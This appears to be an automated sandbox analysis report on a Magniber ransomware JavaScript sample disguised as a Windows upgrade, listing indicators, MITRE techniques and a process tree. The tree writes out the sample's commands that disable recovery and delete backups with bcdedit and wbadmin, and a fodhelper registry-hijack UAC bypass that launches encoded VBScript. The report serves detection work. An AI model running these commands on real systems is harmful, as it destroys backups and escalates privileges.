magniber | 934cfeb5ee3d2ba49831d76dffb1a2658326e1cd90b50779d6670eb2fbdc7ed1

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
14-10-2022 08:35

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General

Target

SYSTEM.Critical.Upgrade.Win10.0.7f9deb08357b29.js
Size

222KB
MD5

b23cae8d39d76a08197382e0d9d5c297
SHA1

2bcc921be8477c6cce77ff4782e068ca798318de
SHA256

934cfeb5ee3d2ba49831d76dffb1a2658326e1cd90b50779d6670eb2fbdc7ed1
SHA512

e120d8b7f60ec7029c00f23573bff52b3d5655c0657a42fc7585e66a256afc99df78d942778a87913a9271d0e4f233b5511bf40328c6244b773ef52b41a3b72b
SSDEEP

1536:62W2DpnCRTcWhVW+kIsoT3C9Adztk+sIbl2/V8pfzauBNo15q/K6cU77gVsCftVY:T25gfsss

Score

10^/10

magniber evasion ransomware

Malware Config

Signatures

Detect magniber ransomware 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/372-135-0x00000229800D8000-0x00000229800E4000-memory.dmp	family_magniber
behavioral2/memory/2328-137-0x0000017B1A2C0000-0x0000017B1A2CB000-memory.dmp	family_magniber
behavioral2/memory/372-150-0x00000229800D8000-0x00000229800E4000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 16 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

bcdedit.exebcdedit.exewbadmin.exewbadmin.exebcdedit.exebcdedit.exewbadmin.exewbadmin.exebcdedit.exebcdedit.exewbadmin.exewbadmin.exebcdedit.exewbadmin.exebcdedit.exewbadmin.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2564	1428	bcdedit.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1820	1428	bcdedit.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1284	1428	wbadmin.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2556	1428	wbadmin.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3100	1428	bcdedit.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3252	1428	bcdedit.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3848	1428	wbadmin.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3540	1428	wbadmin.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2520	1428	bcdedit.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2728	1428	bcdedit.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4908	1428	wbadmin.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3132	1428	wbadmin.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2952	1428	bcdedit.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2720	1428	wbadmin.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1432	1428	bcdedit.exe	87
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3780	1428	wbadmin.exe	87

Modifies boot configuration data using bcdedit 1 TTPs 8 IoCs

ransomware evasion

Inhibit System Recovery

T1490

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	Process
2564	bcdedit.exe
1820	bcdedit.exe
3100	bcdedit.exe
3252	bcdedit.exe
2520	bcdedit.exe
2728	bcdedit.exe
2952	bcdedit.exe
1432	bcdedit.exe

Deletes System State backups 3 TTPs 4 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command-Line Interface

T1059

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

wbadmin.exewbadmin.exewbadmin.exewbadmin.exe

pid	Process
2556	wbadmin.exe
3540	wbadmin.exe
3132	wbadmin.exe
3780	wbadmin.exe

Deletes backup catalog 3 TTPs 4 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command-Line Interface

T1059

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

wbadmin.exewbadmin.exewbadmin.exewbadmin.exe

pid	Process
1284	wbadmin.exe
3848	wbadmin.exe
4908	wbadmin.exe
2720	wbadmin.exe

Modifies extensions of user files 10 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

sihost.exe

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\CloseSearch.tif => C:\Users\Admin\Pictures\CloseSearch.tif.rfguxgmap	sihost.exe
File renamed	C:\Users\Admin\Pictures\DisableSelect.tiff => C:\Users\Admin\Pictures\DisableSelect.tiff.rfguxgmap	sihost.exe
File renamed	C:\Users\Admin\Pictures\DismountRename.tif => C:\Users\Admin\Pictures\DismountRename.tif.rfguxgmap	sihost.exe
File renamed	C:\Users\Admin\Pictures\ExportUnlock.png => C:\Users\Admin\Pictures\ExportUnlock.png.rfguxgmap	sihost.exe
File renamed	C:\Users\Admin\Pictures\GrantTest.tiff => C:\Users\Admin\Pictures\GrantTest.tiff.rfguxgmap	sihost.exe
File renamed	C:\Users\Admin\Pictures\CompressExport.raw => C:\Users\Admin\Pictures\CompressExport.raw.rfguxgmap	sihost.exe
File renamed	C:\Users\Admin\Pictures\HideWait.raw => C:\Users\Admin\Pictures\HideWait.raw.rfguxgmap	sihost.exe
File renamed	C:\Users\Admin\Pictures\SelectTest.raw => C:\Users\Admin\Pictures\SelectTest.raw.rfguxgmap	sihost.exe
File opened for modification	C:\Users\Admin\Pictures\DisableSelect.tiff	sihost.exe
File opened for modification	C:\Users\Admin\Pictures\GrantTest.tiff	sihost.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid	pid_target	Process	procid_target
4580	3248	WerFault.exe	46

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vds.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Modifies registry class 42 IoCs

Processes:

RuntimeBroker.exeRuntimeBroker.exeRuntimeBroker.exesvchost.exesihost.exeExplorer.EXEtaskhostw.exesvchost.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer\ = "AppX0enk2acdsmv8ydhntbtea6yjp27223q6"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\DelegateExecute	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer\ = "AppX0enk2acdsmv8ydhntbtea6yjp27223q6"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer\ = "AppX0enk2acdsmv8ydhntbtea6yjp27223q6"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\DelegateExecute	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\ = "wscript.exe /B /E:VBScript.Encode ../../Users/Public/pcaslbo.rdb"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer\ = "AppX0enk2acdsmv8ydhntbtea6yjp27223q6"	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\ = "wscript.exe /B /E:VBScript.Encode ../../Users/Public/sqlbpokzncn.rdb"	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\DelegateExecute	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\ = "wscript.exe /B /E:VBScript.Encode ../../Users/Public/ybtpxugwmacr.rdb"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\DelegateExecute	taskhostw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer\ = "AppX0enk2acdsmv8ydhntbtea6yjp27223q6"	taskhostw.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\DelegateExecute	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer\ = "AppX0enk2acdsmv8ydhntbtea6yjp27223q6"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\ = "wscript.exe /B /E:VBScript.Encode ../../Users/Public/jcqcqzuqm.rdb"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\DelegateExecute	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\DelegateExecute	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\ = "wscript.exe /B /E:VBScript.Encode ../../Users/Public/uzbpcqctep.rdb"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer\ = "AppX0enk2acdsmv8ydhntbtea6yjp27223q6"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer	taskhostw.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\DelegateExecute	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer\ = "AppX0enk2acdsmv8ydhntbtea6yjp27223q6"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\ = "wscript.exe /B /E:VBScript.Encode ../../Users/Public/wepmtektahlp.rdb"	taskhostw.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings	taskhostw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\ = "wscript.exe /B /E:VBScript.Encode ../../Users/Public/sopgovbqv.rdb"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings	RuntimeBroker.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\ = "wscript.exe /B /E:VBScript.Encode ../../Users/Public/hybsjofq.rdb"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer	svchost.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

wscript.exe

pid	Process
372	wscript.exe
372	wscript.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid	Process
2704	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXERuntimeBroker.exevssvc.exewbengine.exe

description	pid	Process
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	3416	RuntimeBroker.exe
Token: SeShutdownPrivilege	3416	RuntimeBroker.exe
Token: SeShutdownPrivilege	3416	RuntimeBroker.exe
Token: SeBackupPrivilege	1656	vssvc.exe
Token: SeRestorePrivilege	1656	vssvc.exe
Token: SeAuditPrivilege	1656	vssvc.exe
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeBackupPrivilege	4648	wbengine.exe
Token: SeRestorePrivilege	4648	wbengine.exe
Token: SeSecurityPrivilege	4648	wbengine.exe
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE
Token: SeCreatePagefilePrivilege	2704	Explorer.EXE
Token: SeShutdownPrivilege	2704	Explorer.EXE

Suspicious use of WriteProcessMemory 26 IoCs

Processes:

wscript.execmd.exefodhelper.execmd.exefodhelper.execmd.exefodhelper.execmd.exe

description	pid	Process	procid_target
PID 372 wrote to memory of 2328	372	wscript.exe	56
PID 372 wrote to memory of 2360	372	wscript.exe	18
PID 372 wrote to memory of 2432	372	wscript.exe	55
PID 372 wrote to memory of 2704	372	wscript.exe	20
PID 372 wrote to memory of 2812	372	wscript.exe	47
PID 372 wrote to memory of 3248	372	wscript.exe	46
PID 372 wrote to memory of 3348	372	wscript.exe	45
PID 372 wrote to memory of 3416	372	wscript.exe	22
PID 372 wrote to memory of 3508	372	wscript.exe	44
PID 372 wrote to memory of 3728	372	wscript.exe	43
PID 372 wrote to memory of 4896	372	wscript.exe	41
PID 372 wrote to memory of 4076	372	wscript.exe	28
PID 4948 wrote to memory of 4232	4948	cmd.exe	96
PID 4948 wrote to memory of 4232	4948	cmd.exe	96
PID 4232 wrote to memory of 4868	4232	fodhelper.exe	98
PID 4232 wrote to memory of 4868	4232	fodhelper.exe	98
PID 1988 wrote to memory of 2108	1988	cmd.exe	115
PID 1988 wrote to memory of 2108	1988	cmd.exe	115
PID 2108 wrote to memory of 1800	2108	fodhelper.exe	117
PID 2108 wrote to memory of 1800	2108	fodhelper.exe	117
PID 1396 wrote to memory of 1612	1396	cmd.exe	128
PID 1396 wrote to memory of 1612	1396	cmd.exe	128
PID 1612 wrote to memory of 548	1612	fodhelper.exe	130
PID 1612 wrote to memory of 548	1612	fodhelper.exe	130
PID 2296 wrote to memory of 4344	2296	cmd.exe	141
PID 2296 wrote to memory of 4344	2296	cmd.exe	141

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
- Modifies registry class
PID:2360

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:2704
- C:\Windows\system32\wscript.exe
  wscript.exe C:\Users\Admin\AppData\Local\Temp\SYSTEM.Critical.Upgrade.Win10.0.7f9deb08357b29.js
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:372

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:3416

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4076

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:4896
- C:\Windows\System32\cmd.exe
  /c fodhelper.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\System32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2108
  - - C:\Windows\system32\wscript.exe
      "wscript.exe" /B /E:VBScript.Encode ../../Users/Public/sopgovbqv.rdb
      4⤵
      PID:1800

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:3728
- C:\Windows\System32\cmd.exe
  /c fodhelper.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1396
- - C:\Windows\System32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1612
  - - C:\Windows\system32\wscript.exe
      "wscript.exe" /B /E:VBScript.Encode ../../Users/Public/sqlbpokzncn.rdb
      4⤵
      PID:548

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:3508

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:3348

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3248
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3248 -s 848
  2⤵
  - Program crash
  PID:4580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
- Modifies registry class
PID:2812
- C:\Windows\System32\cmd.exe
  /c fodhelper.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4948
- - C:\Windows\System32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4232
  - - C:\Windows\system32\wscript.exe
      "wscript.exe" /B /E:VBScript.Encode ../../Users/Public/uzbpcqctep.rdb
      4⤵
      PID:4868

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
- Modifies registry class
PID:2432

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
- Modifies extensions of user files
- Modifies registry class
PID:2328
- C:\Windows\System32\cmd.exe
  /c fodhelper.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2296
- - C:\Windows\System32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:4344
  - - C:\Windows\system32\wscript.exe
      "wscript.exe" /B /E:VBScript.Encode ../../Users/Public/sqlbpokzncn.rdb
      4⤵
      PID:1176

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 444 -p 3248 -ip 3248
1⤵
PID:1716

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1656

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy ignoreallfailures
1⤵
- Process spawned unexpected child process
- Modifies boot configuration data using bcdedit
PID:2564

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled no
1⤵
- Process spawned unexpected child process
- Modifies boot configuration data using bcdedit
PID:1820

C:\Windows\system32\wbadmin.exe
wbadmin delete catalog -quiet
1⤵
- Process spawned unexpected child process
- Deletes backup catalog
PID:1284

C:\Windows\system32\wbadmin.exe
wbadmin delete systemstatebackup -quiet
1⤵
- Process spawned unexpected child process
- Deletes System State backups
PID:2556

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4648

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3368

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4976

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy ignoreallfailures
1⤵
- Process spawned unexpected child process
- Modifies boot configuration data using bcdedit
PID:3100

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled no
1⤵
- Process spawned unexpected child process
- Modifies boot configuration data using bcdedit
PID:3252

C:\Windows\system32\wbadmin.exe
wbadmin delete catalog -quiet
1⤵
- Process spawned unexpected child process
- Deletes backup catalog
PID:3848

C:\Windows\system32\wbadmin.exe
wbadmin delete systemstatebackup -quiet
1⤵
- Process spawned unexpected child process
- Deletes System State backups
PID:3540

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy ignoreallfailures
1⤵
- Process spawned unexpected child process
- Modifies boot configuration data using bcdedit
PID:2520

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled no
1⤵
- Process spawned unexpected child process
- Modifies boot configuration data using bcdedit
PID:2728

C:\Windows\system32\wbadmin.exe
wbadmin delete catalog -quiet
1⤵
- Process spawned unexpected child process
- Deletes backup catalog
PID:4908

C:\Windows\system32\wbadmin.exe
wbadmin delete systemstatebackup -quiet
1⤵
- Process spawned unexpected child process
- Deletes System State backups
PID:3132

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy ignoreallfailures
1⤵
- Process spawned unexpected child process
- Modifies boot configuration data using bcdedit
PID:2952

C:\Windows\system32\wbadmin.exe
wbadmin delete catalog -quiet
1⤵
- Process spawned unexpected child process
- Deletes backup catalog
PID:2720

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled no
1⤵
- Process spawned unexpected child process
- Modifies boot configuration data using bcdedit
PID:1432

C:\Windows\system32\wbadmin.exe
wbadmin delete systemstatebackup -quiet
1⤵
- Process spawned unexpected child process
- Deletes System State backups
PID:3780

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Public\sopgovbqv.rdb

Filesize
879B

MD5
098d0faaa89567d9a83140ffa9d4f847

SHA1
16f770710dde9c38de9aae7fc69e748d8f812e4f

SHA256
c4e660d36e2736640e03ab63ea7bbd985a3232da41c3237afb900609a367f6b5

SHA512
d424a32050f9c9b7bebf2cb69021125b747f0d569e14d4c27e392b9729c6ada665a6b7d5cbf469c3424f41a299a61d4f9ca56be4be5b6df45da62c6c37662781

Download Submit
C:\Users\Public\sqlbpokzncn.rdb

Filesize
879B

MD5
098d0faaa89567d9a83140ffa9d4f847

SHA1
16f770710dde9c38de9aae7fc69e748d8f812e4f

SHA256
c4e660d36e2736640e03ab63ea7bbd985a3232da41c3237afb900609a367f6b5

SHA512
d424a32050f9c9b7bebf2cb69021125b747f0d569e14d4c27e392b9729c6ada665a6b7d5cbf469c3424f41a299a61d4f9ca56be4be5b6df45da62c6c37662781

Download Submit
C:\Users\Public\uzbpcqctep.rdb

Filesize
879B

MD5
098d0faaa89567d9a83140ffa9d4f847

SHA1
16f770710dde9c38de9aae7fc69e748d8f812e4f

SHA256
c4e660d36e2736640e03ab63ea7bbd985a3232da41c3237afb900609a367f6b5

SHA512
d424a32050f9c9b7bebf2cb69021125b747f0d569e14d4c27e392b9729c6ada665a6b7d5cbf469c3424f41a299a61d4f9ca56be4be5b6df45da62c6c37662781

Download Submit
memory/372-149-0x00007FFB8E480000-0x00007FFB8EF41000-memory.dmp

Filesize
10.8MB

Download
memory/372-136-0x00007FFB8E480000-0x00007FFB8EF41000-memory.dmp

Filesize
10.8MB

Download
